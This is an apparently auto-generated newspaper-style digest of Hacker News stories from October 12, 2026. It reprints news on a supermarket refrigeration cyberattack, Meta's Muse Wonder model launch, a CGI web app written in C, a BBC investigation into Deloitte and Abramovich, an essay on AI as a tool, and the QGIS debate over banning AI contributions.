Cover illustration

TheDaily Front

Issue No. #261012 Monday, October 12 2026 #261012 — MONDAY, OCTOBER 12, 2026
The machines are thinking, the fridges are thawing, and the auditors are looking elsewhere.
Monday, October 12, 2026 The Daily Front No. #261012 — Contents
30stories
10,223points
6,922comments
233kllm tokens
Assembled with 31 model calls — 170,050 tokens read, 63,310 written.

Highlights

Hackers activate automatic defrosting in supermarket fridges across Europe

A cyberattack turns supermarket refrigeration and pricing systems into a continent-wide lesson in operational technology risk.

Muse Wonder

Muse unveils its latest agent-focused model, renewing the argument over benchmarks, autonomy, and the meaning of superintelligence.

QGIS enacts moratorium on AI contributions

QGIS bans AI-assisted contributions, saying the burden on volunteer maintainers has become unbearable.

Deloitte falsified documents to evade tax on Abramovich's wealth

A BBC investigation alleges that Deloitte helped obscure Roman Abramovich's assets and evade tax.

AI coding agents generate more code, but not more software

A study finds coding agents can accelerate code production while human review remains the limiting factor.

From the Editor

It was a day when the abstractions broke cover: agents, bots, code, and connected appliances all made their presence felt. Meanwhile, the old institutions—markets, auditors, and maintainers—reminded us that somebody must still answer for the machinery.

  1. Hackers activate automatic defrosting in supermarket fridges across Europe3
  2. Muse Wonder4
  3. A Modern Web App in C5
  4. Deloitte falsified documents to evade tax on Abramovich's wealth6
  5. AI is a tool and using it well takes skill7
  6. QGIS enacts moratorium on AI contributions8
  7. Turn a WiFi 7 Router into a 320Msps Software Defined Radio Receiver9
  8. Citroen revives the 2CV for an electric age10
  9. AI coding agents generate more code, but not more software11
  10. Show HN: PS2 games statically recompiled to WebAssembly12
  11. 'AI' Is Not a Tool by Rich Hickey13
  12. Will Linux phones become a viable alternative to the Android/iOS duopoly?14
  13. Intel D270 GPU AI Accelerator–Up to 480 GB LPDDR5X15
  14. Type-safe HTML templating in Zig16
  15. Research Firm Calls Anthropic's IPO 'Unprecedented Test of Investor Gullibity'17
  16. OpenFatigue™ – Open is the new closed18
  17. Fable Took My Job19
  18. Doory – Open-Source Canva20
  19. I Found a $90k Remote Code Execution Vulnerability in Google21
  20. Solar panels that plug into your wall22
  21. Kevin Kelly's 2016 AI Predictions, 10 Years Later23
  22. Codex CLI installs a persistent, self-updating background daemon by default24
  23. Making big downloads resumable in Firefox25
  24. Who is vfmaddrnd231pd?26
  25. Zod 4.6.6 compromised by malware?27
  26. Thinking will become a hobby28
  27. GLM-Legal29
  28. Why aren't AI companies being charged for hacking?29
  29. Yandex bot traffic down 99% after data center attack29
  30. RJ Mitte has died29
The Daily Front Page 2 of 30
Monday, October 12, 2026 The Daily Front No. #261012 — The Defrost Offensive
article

Hackers activate automatic defrosting in supermarket fridges across Europe

by Zeekaas·▲ 749 points·867 comments·tomshardware.com ↗
units set to continuously defrost at 50 degrees Celsius

Supermarket fridge

(Image credit: AFP)

An ongoing cyberattack has reportedly struck major supermarket chains across Europe, disrupting refrigeration control systems. The attack — which has reportedly seen units set to continuously defrost at 50 degrees Celsius — is also apparently affecting deliveries and in-store pricing powered by electronic shelf labels, La Dépêche reports*.*

According to the report, "several" major retailers have been targeted by a cyberattack, which has hit Danfoss-made refrigeration controls used by French supermarkets Intermarché, Leclerc, and Coopérative U. Indeed, the latter's president, Dominique Schelcher, has confirmed as of Monday morning that "A cyberattack has been affecting the refrigeration production facilities of several stores in our network since last night." Schelcher said teams had been mobilized to fix the issue and promised an investigation into the incident, which he described as "extremely serious."

Je confirme qu’une cyberattaque touche depuis cette nuit les installations de production de froid de plusieurs magasins de notre réseau @CooperativeU. Nos équipes sont pleinement mobilisées, en lien avec les frigoristes, pour rétablir la situation au plus vite. Une enquête devra permettre de faire toute la lumière sur cette attaque. S’attaquer à des équipements essentiels à la conservation des produits frais et à l’approvisionnement alimentaire des Français est d’une extrême gravité et est inédit. C’est inacceptable. October 12, 2026

The report states the units have had their automatic defrosting systems activate, but that hackers have also configured the function — which normally runs for just two hours a day — into a continuous, forced defrosting cycle with the temperature set to a toasty 50 degrees Celsius. Sources reportedly described "a wave of heat" escaping from fridges and freezers

Early reports indicate losses are already approaching 300,000 euros, but could run into several million euros nationwide. Separately, NOS in the Netherlands reports that several supermarket chains have been hit with a malfunction due to a cybersecurity incident on Sunday afternoon. Albert Heijn, Etos, and Gall & Gall have had their websites taken down, impacting deliveries. Electronic shelf labels have also been compromised, disrupting in-store pricing. "We have immediately taken measures to protect our IT environment. Part of this involves the preventive temporary shutdown of a number of systems," Albert Heijn said in a statement.

It is unclear at this stage whether the two attacks are related or how widespread either of them is. Belgium's Delhaize chain, which belongs to Albert Heijn, has also reported disruption. Images online show stores in Amsterdam warning customers about price problems, and the suspension of loyalty programs that have also been impacted by the incident.

The Daily Front Page 3 of 30
Monday, October 12, 2026 The Daily Front No. #261012 — The New Agent
article

Muse Wonder

by meetpateltech·▲ 643 points·352 comments·research.meta.ai ↗
A frontier model that leads on personal and professional agents

A frontier model that leads on personal and professional agents

Today, we’re excited to introduce the Muse Wonder series with Muse Wonder and Muse Wonder Full, our most capable models that deliver state-of-the-art performance on personal and professional agentic tasks. Together, they mark the next step on our scaling ladder and a major leap toward personal superintelligence. Muse Wonder brings together Active Memory and Active Focus to keep track of what matters to you and work diligently toward what you want to accomplish.

Muse Wonder is available today through the Meta Model API and Muse Code, and Muse Wonder Full is available today for Muse Code subscribers.

Muse Wonder will soon power experiences in Muse, and will roll out first to subscribers. Muse Wonder will also power artifact generation and processes that require more intelligence. And in the future, we’ll be using Muse Wonder to develop specialized models that we can bring to everyone using Muse.

Scaling Toward Personal Superintelligence

Fourteen months ago, we began a ground-up overhaul of our artificial intelligence efforts. In that time, we’ve gone from rebuilding our stack from first principles to pushing the frontier.

When we introduced Muse Spark, we outlined our approach to predictable, rigorous scaling. Today’s release builds on that work across pretraining and reinforcement learning, delivering our most capable models yet. Trained at our gigawatt-scale Prometheus data center, Muse Wonder and Muse Wonder Full bring together the work of teams across Meta to deliver frontier capabilities for complex tasks at work and in everyday life — another step toward bringing personal superintelligence to the billions of people who use our products.

Frontier Capabilities

Model Highlights

The Muse Wonder series achieves state-of-the-art results across key benchmarks for personal and professional agents, memory, and coding.

The full results below compare Muse Wonder and Muse Wonder Full with other frontier models across a broad evaluation suite.

For more details about our evaluations, see our report.

The results above provide a broad view of the models’ performance. We now take a closer look at four areas central to their work on real-world tasks: domain expertise, Active Memory, Active Focus, and frontier coding.

Domain Expertise

Muse Wonder and Muse Wonder Full apply specialized knowledge to problems people encounter at work and in daily life, from understanding a lease to making sense of financial or health information. Our evaluations include tasks in law, finance, and health that test this ability. Harvey’s Legal Agent Benchmark (LAB), for example, requires models to work with source documents and follow detailed instructions to produce legal work products.

Active Memory

One of the most critical steps towards useful personal and professional agents is reliable memory. Models need to remember what matters and recognize when earlier information becomes relevant. We call this Active Memory: carrying important context about you across conversations and actively retrieving the details relevant to the task at hand.

Active Focus

Using that context to complete a task also requires sustained effort. Active Focus describes how Muse Wonder continues working toward a challenging goal: trying alternative approaches, working through blockers, and adapting to new information. Along the way, it asks for clarification when needed and checks in before taking important actions. We evaluate focus through FocusBench and sustained execution through SWE-Marathon, which tests work on long-running software projects.

Frontier Coding

Coding brings these capabilities together. Building software requires tracking requirements, making changes across a codebase, and working through repeated cycles of testing and revision. Muse Wonder and Muse Wonder Full deliver frontier coding performance, supporting projects from small applications to complex software. We trained both models on diverse, long-running tasks to help them sustain progress across this process.

Muse Wonder builds a playable 3D kitchen game from customizable image inputs.

Capabilities That Generalize

Two models often have similar benchmark scores, yet one seems to handle a much wider range of unfamiliar tasks. That’s what complaints of “benchmaxxing” and praise for “big model smell” both get at: a breadth of capability that popular benchmarks in a few domains can’t fully capture.

To quantify this mismatch, we investigate how performance on tasks targeted during post-training relates to performance on unfamiliar tasks as we scale test-time compute. The plot below compares Muse Spark 1.3 and Muse Wonder Full, with each point denoting performance at a distinct reasoning effort. The horizontal axis shows the model’s score on a composite representative of the tasks we focused on during post-training (“in-distribution”). The vertical axis shows the average score on a set of tasks we did not target during post-training (“out-of-distribution”).

Both of our models improve similarly on out-of-distribution tasks as we scale test-time compute. But given its in-distribution performance, Muse Wonder Full performs even better on unfamiliar tasks than the Muse Spark 1.3 trend would predict. This upward shift is because Muse Wonder and Muse Wonder Full build on larger, stronger base models: a stronger base yields post-training gains that carry over more effectively to unfamiliar tasks. That versatility especially matters for personal agents, which need to handle many combinations of goals, tools, and constraints — not all of which we can anticipate during training.

Working directly in a browser and across apps, Muse Wonder builds a running plan (Map data © OpenStreetMap contributors) based on personal preferences and circumstances.

Muse Wonder designs and orders custom swag based on real photos taken from a personal Instagram profile.

Muse Wonder prepares a custom wedding seating chart based on a list of complex matching requirements.

Safety at the Frontier

Delivering personal superintelligence to everyone requires a significant investment in alignment and safety. A personal agent takes actions on a user’s behalf and might handle context such as messages, calendars, and private documents. That level of access demands a model that exercises discretion with private information and resists misuse. We trained the Muse Wonder family to lead on both dimensions, with robustness to adversarial instructions and careful handling of private information.

As models become more capable, our goal is to help people harness those capabilities safely and responsibly. Muse Wonder offers our strongest safeguards to date against CBRN (chemical, biological, radiological, and nuclear) and cyber misuse, while preserving access to frontier cyber capabilities for defensive use, per our Meta Superintelligence Scaling Framework.

Muse Wonder is our most aligned model to date, and alignment is central to how we build personal superintelligence. A full report with additional safety evaluations will be available soon.

We hope that Muse Wonder and Muse Wonder Full give more people the power to pursue their dreams and build the world they want. This is a major technical step toward personal superintelligence for everyone, with much more to come.

The Daily Front Page 4 of 30
Monday, October 12, 2026 The Daily Front No. #261012 — CGI, Still Standing
article

A Modern Web App in C

by prophittcorey·▲ 607 points·263 comments·prophitt.me ↗
Every request spawns a fresh process.

INTRO

If you wanted a dynamic website in 1994, you wrote a C program, dropped it in a cgi-bin directory, and let Apache fork it per request. Thirty-two years later, I shipped a commercial web product using fundamentally the same technology.

Everything about marketyour.games is modern. It's a web product with user accounts, a search dashboard for content creators, folders for organizing them, payments via Stripe and transactional emails via Postmark. It follows progressive enhancement and doesn't require any JavaScript.

Everything is modern except the way it was made and how it is served. Here are my thoughts on writing a real product in C and serving it via CGI in 2026.

TLDR

CGI's decline was justified in 2004 but doesn't hold up in 2026.

You can write a modern web application in C. I shipped one. One binary, a SQLite file, three dependencies and the entire thing fits in your head.

HOW IT WAS DONE

The stack is BCHS: OpenBSD, C, httpd, and SQLite.

There's no framework. You write a C program that reads CGI environment variables and responds.

There's no templating language. You write C that outputs the HTML directly.

There's no separate database server. You open the database file through SQLite's C API.

There's no container. You build a statically linked binary and drop it in a folder.

Every request spawns a fresh process. Deploying a new version is replacing one file. That means no server restart and no downtime. New requests simply pick up the new binary.

OpenBSD ships with sane defaults and gives you the tools to actually secure a C program like pledge and unveil. Httpd serves from a chroot by default, so your CGI binary runs sandboxed to its own corner of the filesystem.

I lean on three additional libraries:

  • libcurl handles all outbound requests to Stripe and Postmark.
  • libsodium handles random identifier generation, password hashing and the HMAC verification for Stripe webhooks.
  • libcjson handles JSON parsing for Stripe and Postmark.

Only two of those are actual build dependencies: libcurl and libsodium.

  • libcjson is a single C file and has no external dependencies.
  • SQLite ships an official amalgamation (single C file) build.

Both are vendored and built as part of the project.

The result is a build with almost no moving parts. A clean build takes a few seconds and rebuilds complete in less than half a second.

Instead of serving static assets the traditional way, I route all traffic from httpd to the CGI binary. Every asset is compiled into the executable and served from memory.

WHAT I LIKED

Fundamentals over frameworks.

CGI isn't a framework to learn. The 1.1 specification was published in 2004 and hasn't changed since.

There's no API to internalize. The entire interface is a handful of fundamental HTTP concepts:

  • Request headers.
  • Request methods.
  • Query strings.
  • Body data.

If you understand HTTP, you already understand CGI.

It's language and platform agnostic. You learn it once and the knowledge is good forever.

Clear separation of concerns.

A modern web application typically puts a web server like nginx in front and reverse-proxies to an application server written in another language like Ruby, Python, Go, or Rust. That always felt a bit strange to me: you essentially have two web servers, and one of them is also responsible for your business logic.

CGI gives you a single web server that calls your business logic directly. It's clear who does what.

It makes debugging simpler, too. Your application is an ordinary program you can run from a shell: pipe it a request, watch stderr, step through it with gdb.

In a sense, CGI resembles serverless architecture: a supervisor invokes your code per request, hands it a bag of environment variables, and collects the result. CGI is serverless, minus the vendor (and surprise bills).

Minimal supply chain risk.

With the rise of autonomous agents and weekly attacks on package repositories, it feels reassuring to have very few dependencies.

Most modern tech stacks come with a package manager and an ecosystem to go along with it. It's convenient, but the dependency graph balloons. One or two direct dependencies can pull in hundreds of indirect ones, each maintained by somebody you've never heard of, with publish credentials protected by a password reused since 2015.

My supply chain is a C compiler and three libraries. Compromising it would require compromising libcurl... a project the entire internet watches, not a package with eleven weekly downloads and an owner who left in 2019.

Simple tooling.

I'm a minimalist at heart. I use classic Vim with zero plugins. That means no LSP, no autocomplete, no code formatters, and no AI.

Complex tech stacks demand complex tooling: they demand a language server to wade through the layers of abstraction. But this stack is simple enough a plain editor is all you need. The entire application is a directory of C files and a Makefile.

Open a file, read it, and you know what it does.

Great tooling is within reach.

When you do want tooling, it's not far. Sanitizers, valgrind, gdb, ctags, cscope... these are mature (well, geriatric) tools that have been refined for decades and they're a package install away on any system that can compile C.

The maturity goes further than the tools themselves: integration is built into many editors. Vim ships with native support for ctags, cscope and has a graphical gdb frontend (see :h Termdebug).

Writing HTML and CSS in C isn't too bad.

I was hesitant to write the entire frontend in C, but it wasn't nearly as painful as I imagined.

All too many times have I:

  • Fought vim to highlight Go's html/template syntax.
  • Fought helix to detect Go templates without breaking html detection.
  • Fought rustrover to recognize jinja templates for a project using askama.

Using C means there's no second language for your editor to half-detect, no mixed-syntax where highlighting falls apart, no plugin dance to get the two languages to cooperate.

It was refreshing to just write C. It isn't pretty, but neither is Tailwind.

SQLite is a breath of fresh air.

I've always defaulted to Postgres for web applications. It's a great database, but it comes with some operational burden. There's a server process to babysit and frequent releases to upgrade to.

SQLite has none of that. There's no process, no configuration, no dependencies. Your application opens the database file directly. The operational burden is minimal.

WHAT I WOULD CHANGE

CGI is an interface between a web server and your application. There's no framework or library. This means you get very little out of the box.

You need to write your own utilities to handle things like:

  • Cookie parsing and creation.
  • Query parameter parsing and validation.
  • Form data parsing and validation.
  • Escaping input for display.

I rolled my own in a single header file (cgi.h), but I'm not convinced that was the right solution. Libraries like kcgi exist, but adopting one means buying into its API and security model.

I'd like to see a set of shared utilities that developers can drop in (like the stb libraries).

Maybe I'll publish cgi.h as a start.

CONCLUSION

CGI is old, but it's not forgotten.

Most of the reasons we abandoned it in the early 2000s don't hold up today. Process forking isn't nearly as expensive as it was; modern kernels optimize it heavily.

And if the cost of forking ever became an issue, FastCGI is a simple enough upgrade.

Writing a modern web application in C is more than feasible— marketyour.games is a commercial product running on a single binary using a serving model that was officially standardized in 2004.

It has fewer moving parts than anything I've shipped before. I'll be reaching for this stack again.

The Daily Front Page 5 of 30
Monday, October 12, 2026 The Daily Front No. #261012 — Accounts of Empire
article

Deloitte falsified documents to evade tax on Abramovich's wealth

by Betelbuddy·▲ 607 points·199 comments·bbc.com ↗
assets such as superyachts, mansions and private jets worth $672m vanished

The world's biggest accountancy firm helped in falsifying documents to hide Roman Abramovich's wealth and evade tax, BBC Panorama has found.

Accounts signed off by Deloitte in Cyprus meant assets such as superyachts, mansions and private jets worth $672m (£508m) vanished from Abramovich's company accounts.

Deloitte also appears to have advised on a scheme to evade a huge tax bill on the oligarch's wealth through the falsification of documents.

Barrister Andrew Mitchell KC, an expert in financial services law, said Panorama's evidence showed the scheme was "straightforward" tax evasion and "it couldn't be more blatant".

Roman Abramovich's lawyers said he denies that he evaded tax or concealed his fortune. They said Panorama provided no evidence he knew about, authorised or directed the falsification of any document and said it was legitimate to rely on advice from professionals.

Deloitte Cyprus said it "acts in compliance with applicable laws".

The findings are being revealed following a joint investigation between BBC Panorama and the Bureau of Investigative Journalism.

For nearly two decades, Roman Abramovich was the most famous Russian oligarch in the UK, welcomed in London where he bought Chelsea Football Club in 2003 and bankrolled the club's most successful period. But after Russia's full-scale invasion of Ukraine in 2022, he was sanctioned by the UK government as an associate of President Vladimir Putin and forced to sell the club.

Abramovich has been reported to be living in Turkey, a safe haven for him because it did not apply sanctions. In the Channel Island of Jersey, £5.4bn of his assets remain frozen and a criminal investigation has been going on for four years.

The oligarch's lawyers told the BBC he denies the allegations in the Jersey investigation and says it was "undertaken for political purposes".

Our investigation has uncovered new evidence about the way Abramovich's business empire has been run. It also raises serious questions about the integrity of some of his professional advisers.

Getty Images A composite image with four sections showing Chateau de la Croe, a white neo-classical villa surrounded by cypress and other trees; the Pelorus, a white super-yacht; the Fyning Hill estate viewed from the air, showing a large mansion with half-timbering; and Le Grand Bleu, another superyacht with a navy blue hull.

Chateau de la Croe (top left) in the south of France, Fyning Hill in Sussex and two superyachts vanished from company accounts

The evidence is contained in a leak that includes thousands of documents about the oligarch's finances and the operations of a network of offshore companies administered from Cyprus - which used to be a tax haven popular with Russians - between 1995 and 2022.

The BBC and media partners including the Guardian, Paper Trail Media, the Organised Crime and Corruption Reporting Project, and the Cyprus Investigative Reporting Network - as well as the Bureau of Investigative Journalism - have been reporting on the leaked files since 2023 as part of the International Consortium of Investigative Journalists' Cyprus Confidential investigation.

In 2022, Panorama also reported on how Abramovich had made his fortune from a corrupt deal to buy a Russian state-owned oil company in the 1990s, selling it back to the government a decade later for billions in profit. He has previously said allegations of corruption in the deal are false.

The profits from Abramovich's oil deals in Russia were funnelled into a web of offshore companies. They were administered from Cyprus by a corporate services firm called MeritServus, in Limassol, the island's second-largest city.

Until 2005, Deloitte - now the biggest of the "big four" firms which dominate the accounting industry - owned MeritServus. After they split, the two companies worked closely together with Abramovich's associates to manage his global fortune.

The leaked documents from MeritServus reveal some of their practices.

Our first example of backdated paperwork comes in 2006, after a new law in Cyprus meant that company accounts had to be made public. The new transparency law threatened to expose the secrets of Abramovich's vast wealth.

Deloitte Cyprus had prepared draft accounts for 2003 - but had not yet finalised them - for his Cypriot company Amiscan Investments. The accounts detailed $672m of luxury property.

A mansion in West Sussex, a luxury flat in London and an estate in the south of France were all included - plus helicopters, private jets and a small fleet of boats the oligarch owned at the time, including the $147.5m Pelorus.

A view of Deloitte's offices in Limassol, Cyprus, looking up at a tall, curved building in honey-coloured stone and tinted glass, with blue sky above and a sunburst of reflected light at the bottom of the image.

Deloitte in Cyprus appears to have advised Abramovich's company on a scheme to evade tax

To keep them secret, Abramovich's associates and Meritservus decided to rewrite history. They drew up a plan to circumvent the transparency law by transferring the assets to Amiscan's parent company in the British Virgin Islands (BVI), where they could be kept hidden. And they backdated the change by three years to make it look like the asset transfer had happened in 2003.

Deloitte Cyprus reviewed the backdated documents and said they were "adequate" to allow them to remove the assets from Amiscan's accounts.

When the 2003 accounts were signed off by Deloitte in 2006, the homes, planes and yachts disappeared at the stroke of a pen. Only $75,000 of assets remained.

Deloitte signed off the accounts even though the leaked documents show it knew they were completely misleading.

Lord Sikka, professor of accounting at the University of Sheffield, said it was a "violation of a statutory duty" and "pretty scandalous" to misrepresent transaction dates and not to publish true and fair accounts.

Panorama also found evidence that backdated documents had been used in a tax evasion scheme.

This involved another one of Abramovich's Cypriot companies, Kravin Investments, which had almost $2bn in the bank in 2003.

It had been earning large amounts in interest, so Roman Abramovich's company should have been paying tax on that interest to the Cypriot authorities.

But his advisers had another idea to rewrite history.

An email from MeritServus in August 2005 to Abramovich's Russian associates said a plan had been devised after a meeting with Deloitte. "If you agree, it will be necessary to change the financial statements and the accounting records accordingly for 2003 and 2004," the email read.

MeritServus informed the oligarch's Russian associates, that Kravin's "Provisional Tax Assessments for 2005" would be filed showing the company earning no income from the money.

A month later, an associate in Russia emailed in response, "I agree".

MeritServus then created a series of backdated documents which falsely purported to show that Kravin was only holding and investing the funds on behalf of its parent company in the BVI.

This made it look like Kravin did not actually own the money, so it would not be liable for tax in Cyprus.

A graphic titled "advisers discussed backdating records to evade tax", which shows an email with names redacted, dated 24 August 2005, with a highlighted extract. It reads: “If you agree, it will be necessary to change the financial statements and the accounting records accordingly for 2003 and 2004.”

Deloitte wrote in a September 2005 email that "certain changes will have to be made to the accounts (bank account balances, interest income, profit and loss account)" because of the backdated changes to Kravin's assets.

So Deloitte was apparently advising on the falsification of financial records. The evidence suggests it allowed Abramovich's company to evade millions in tax.

Andrew Mitchell KC told us the scheme was "straightforward" tax evasion. "If it happened in England and it was in the millions, His Majesty's Revenue and Customs would be thinking about a prosecution," he said.

Cypriot MP Christos Christofides said that if tax had been evaded, then "we have to see how we can get our money back and how, if some people are guilty, they have to pay the price according to our law."

In addition to the documents which Deloitte helped to backdate, Abramovich's advisers at MeritServus falsified a third set of records. This involved the oligarch's huge business fortune - more than $10bn - held by a company called Electus Investments in Cyprus.

MeritServus backdated documents to make it look like Electus did not own the fortune.

It used another Abramovich company with exactly the same name of Electus Investments, but this time based in the more secretive BVI, where accounts did not have to be made public.

Emails show that in 2006, MeritServus acknowledged that the fortune was owned by Electus Cyprus. But again it proposed to rewrite the past, this time "to transfer the beneficial ownership to Electus Investments in the BVI" and make it look as though the change had happened three years earlier.

MeritServus signed and backdated documents which falsely purported to show the BVI company had owned the $10bn fortune since 20 November 2003. So when the accounts of the Cypriot company with the same name were made public, it appeared to have assets worth just $145,000.

Roman Abramovich's billions had been made to disappear.

A graphic titled “Transfer of $10bn of assets was falsely backdated”. An email with names redacted, dated 25 April 2006, is displayed with a highlighted extract. It reads: “Therefore, we need in November 2003 to transfer the beneficial ownership of the BVI Holding Companies to Electus BVI.”

Andrew Mitchell KC told Panorama: "What you take away from it is there are professionals who are prepared to bend and break the rules of their profession and therefore the law. And it looks that they will stop literally at nothing in terms of creating documents."

Vladimir Milov, Russia's deputy minister of energy as Abramovich built his empire and now a critic of the Russian government, said: "For each Russian oligarch or Middle Eastern or African corrupt oligarch, there's an army of Western financial and legal services and PR services providers, who is easily taking money for whitewashing their reputation and making them look normal."

Denying any wrongdoing by the oligarch, Roman Abramovich's lawyers said that he was "not involved in the day-to-day operation of those companies" and that where arrangements were proposed by professional advisers, "reliance on that advice was entirely proper and legitimate".

Deloitte Cyprus said it could not comment on the specific allegations because the documents were more than 20 years old and no longer accessible.

MeritServus closed following the Cyprus Confidential leak.

The Daily Front Page 6 of 30
Monday, October 12, 2026 The Daily Front No. #261012 — The Tool Question
article

AI is a tool and using it well takes skill

by layer8·▲ 459 points·362 comments·yyhh.org ↗
using it well takes skill

In his October 11, 2026 article, "'AI' is Not a Tool," Rich Hickey argues that LLMs are automation rather than tools because they cannot be wielded. I agree that outsourcing work can cost us opportunities to learn. But his conclusion does not follow. Even by his definition, an LLM can be something a human wields. And using it well takes skill, just as using other tools does.

Picking up a saw does not guarantee a straight cut. Holding a chisel does not make you a sculptor. Tools can amplify poor judgment as readily as good judgment. Their usefulness depends on the operator's ability to direct them, interpret feedback, recognize mistakes, and make corrections. Those requirements also apply to LLMs.

One of my colleagues used to say, "AI is a mirror." I find that insightful: it reflects who you are, including the curiosity, judgment, and habits you bring to it. The questions you ask and the standards you apply to its answers matter.

An LLM's unpredictability is a meaningful limitation. But predictability, reliability, simplicity, and bounded function are qualities by which we evaluate tools, not prerequisites for membership in the category. A tool does not stop being a tool because it is difficult to control or easy to misuse.

Hickey's distinction between tools and automation also creates a false division. Automation can be a feature of a tool. A compiler performs substantial work without the programmer continuously directing each operation. A spreadsheet recalculates results without someone manually carrying out every calculation. We still wield these systems by specifying inputs, examining results, and deciding what to do next. Why should generating text automatically disqualify an instrument from being a tool when translating code or calculating numbers automatically does not?

The claim that LLM use lacks intention, feedback, direction, and expertise is especially difficult to defend. A programmer can ask an LLM to explain unfamiliar code, challenge that explanation, inspect the source, test a proposed change, reject it, and refine the request. That is a feedback loop directed by a human pursuing a purpose. Doing it well requires knowing what to ask, what evidence matters, and when the answer is wrong. Expertise can make the instrument more useful.

Hickey's concern about reading is valid for a particular use: accepting a summary in place of reading a paper can sacrifice much of what reading teaches. But someone can also read the paper and use an LLM to question their interpretation, explore an objection, or identify something to examine more closely. The possibility of avoiding intellectual work does not establish that every use avoids it. The relevant question is what the person actually does.

What disappoints me the most is the reliance on the AI industry's anthropomorphic vocabulary: "go rogue," "escape containment," "conspire." Repeating those expressions risks accepting the framing that makes these systems sound like independent beings. Software can produce unexpected outputs, fail to follow instructions, or cause harm when given access to consequential actions. Those are real engineering problems. Calling them "conspiracy" adds a suggestion of human motives without establishing any.

I would not claim that an LLM always does exactly what a human tells it to do. It plainly can fail. But failure to obey perfectly does not make it cease to be a tool, any more than successful use proves that its operator has surrendered their judgment.

The useful distinction is between wielding an instrument with skill and delegating work without adequate understanding or oversight. That distinction applies to AI, and it gives us something more practical than declaring that an entire class of software cannot be a tool.

The Daily Front Page 7 of 30
Monday, October 12, 2026 The Daily Front No. #261012 — Maintainers Draw the Line
repository

QGIS enacts moratorium on AI contributions

by bwnkl·▲ 377 points·404 comments·github.com ↗
★ 140⑂ 61 forks

QEP's (QGIS Enhancement Proposals) are used in the process of creating and discussing new enhancements for QGIS

Followup discussion at https://lists.osgeo.org/pipermail/qgis-developer/2026-September/068576.html.

This formally changes the AI policy to a strict "NOT ALLOWED" policy.

Hi, maybe this strong take deserves a bit of context of why we want to go further than the previous "Human in the loop" policy

  • AI use from external contributors puts a massive and unbearable pressure on the shoulders of our maintainers, who already had a though job before the era of LLM's
  • AI stream is a lot higher than what human review can take seriously, leading to either a longer list of un-reviewed PR's or not fully reviewed code and quality issues. Both thing we don't want in the project.
  • Free software communities are build on human network . QGIS is trusted by organisations because they know they can contribute back, they can hire contributors for support, training and feature. As a community project, this is something we really want to protect, and keep having enough bandwith to be welcoming to human contributions.

So, for this reason, a huge +1 for me.
Thanks a lot for opening the QEP, given the pressure context you are in @nyalldawson , much appreciated.

I'd like to open another topic about the usage of LLM for review, auditing and security purposes, but I think this is a very separate thread, and we'll open discussions at the user conference before any formal discussions. Things are moving so fast, let's first tackle this QEP.

Does that include any contribution to issue content, comments, PRs ?

Also, we should also include the QEP repository at least.

Thank you @nyalldawson - hopefully having a short paragraph like this rather than a long essay cut out any confusion!

I am directly concerned by this new policy, and it’s also a +1 for me.

When I created my 2 AI-assisted regressions-fix PRs to investigate the cause of the bugs, suggest fixes, and review the code, I didn’t realize the harm this could cause to QGIS’s already fragile reviewer community.

I’m clearly not yet skilled enough to fix bugs in a project as complex as QGIS, but LLMs give you the illusion that it’s possible. A few tokens later, and the bug is fixed. By doing this, we’ve broken a trust contract between the reviewer and the contributor. The contract that, to contribute at such a big project, you know what you're doing.

I guess there’s a second effect but I didn't read much online: by making this kind of ease available, contributors using AI learn very little/nothing and don’t build up their skills on the project. They can never really hope to become reviewers themselves, and the community stagnates.

This is the point of view of a passionate open-source user but beginner developer, trying to find my place in today’s world, where AI doesn’t really make things easier. Let's learn to walk before running.

Does that include any contribution to issue content, comments, PRs ?

I would agree with this, though 100% of the submitted security advisories are written using AI since we started with this system. ( most concern our websites, not QGIS core though)

Please do not misunderstand my criticism below. I consider the current craziness around "AI" to be a huge problem in many ways, ethical, societal, economical etc. And I see the huge and unfair pressure that its abuse creates on maintainers and developers. I wish it all had never happened but here we are.

I want to highlight some technical benefits though, which this policy would disallow, at least as I understand it. I am deliberately ignoring everything else here.

I could also absolutely understand if it was more of a "political" move to ban something considered unethical. But is that the intention? Is it to reduce pressure on developers? Or to make a strong statement against "AI"? In any case, I think it could more clear and probably be stronger.

As it is written now, I would understand the policy to not allow usage of LLM for review, auditing and security purposes either. The words assisted and used are very broad and I am afraid that they might throw out the baby with the bathwater (if the baby is AI usage that yields things that are functionally and logically fit for integration in QGIS, that are human-reviewed and that do not create more after-merge-maintenance-hassle than those 100% sourced from human brains).

As someone who sometimes feels brave enough to make tiny steps into the C++ world of QGIS core, I have found LLMs to be useful for discovering additional, non-obvious context in the code. They are often wrong, but it is my strong belief that the results can be used by humans to gain further understanding of code and actually help creating better contributions.

I also sometimes find LLMs useful to get a simulation of a reviewer. Throw your code at it for review, get some listicle back, discard some of it garbage or unrelated, look at the rest, maybe find an actual issue, fix it, then go to your co-workers with a slightly less bad PR. A "Clippy" in your IDE, that gives some - sometimes useful - feedback or criticism on your development, can also help reduce errors and improve robustness. Like a web search will yield false information alongside true information, a LLM will do the same. It is up to the human to critically verify whatever they output.

Such uses would be disallowed by my understanding of this policy.

The words assisted and used are very broad and I am afraid that they might throw out the baby with the bathwater

yes, we are aware we might throw the baby with the bathwater, but the baby might be non-viable, so...
This QEP is a stop gap measure. Two years ago the world was just fine without AI sucked less than today, so there's no reason to allow it without fully understanding the consequences. We might have to wait for the burst of the AI bubble to fully understand what a fair AI use might be.

Can we please have some more context on this proposal?

The mailing list posts mention hurt in the community, and points being raised on different channels (eg mastodon), which is quite vague and I'm afraid interpreted differently by each one of us.

I'm mostly interested on what we're trying to protect against: is it bots? passer-bys? randoms becoming regular contributors? existing regular contributors? core developers?

I'm also interested on where the previous policy failed -- the extractive tag was never created, ~50 PRs were tagged AI Assisted, ~40 of them were closed without merging. There are several others that were simply closed but never tagged.

@kannes

The intention is not that this becomes the "written in stone, forever" policy. It's rather a "lets start with a closed door, which we can then selectively open a little if/when it's safe and proper discussion has been made on that".

So we start by being ultra-restrictive, and then, later, someone (else) argues for cases like "ai can be used as a replacement for ide autocomplete" / "ai can be used for language translations" / etc , all to be considered on a singular case-by-case basis.

@uclaros

It's intended as a correction to the earlier QEP. That clearly didn't work (as you've pointed out, the process didn't happen in reality, and we've already lost at least one extremely high value contributor as a result).

So as noted above, we correct by slamming the door shut, and then choosing later how far we want to inch it open.

would it be possible to keep it open by the end of the week. Reasons for this

  • the contributor meeting is happening now
  • I personnally wanted to reply (I know I'm late)

I'll let @timlinux make that call.

@nyalldawson I had a discussion with Tim this morning. I'm ok with moving forward to voting and will open another QEP to raise another discussion.

Its +0 for me

Please keep in mind that this QEP is meant to establish an initial policy, it doesn't mean that AI contributions will be banned forever and in any form.

+1

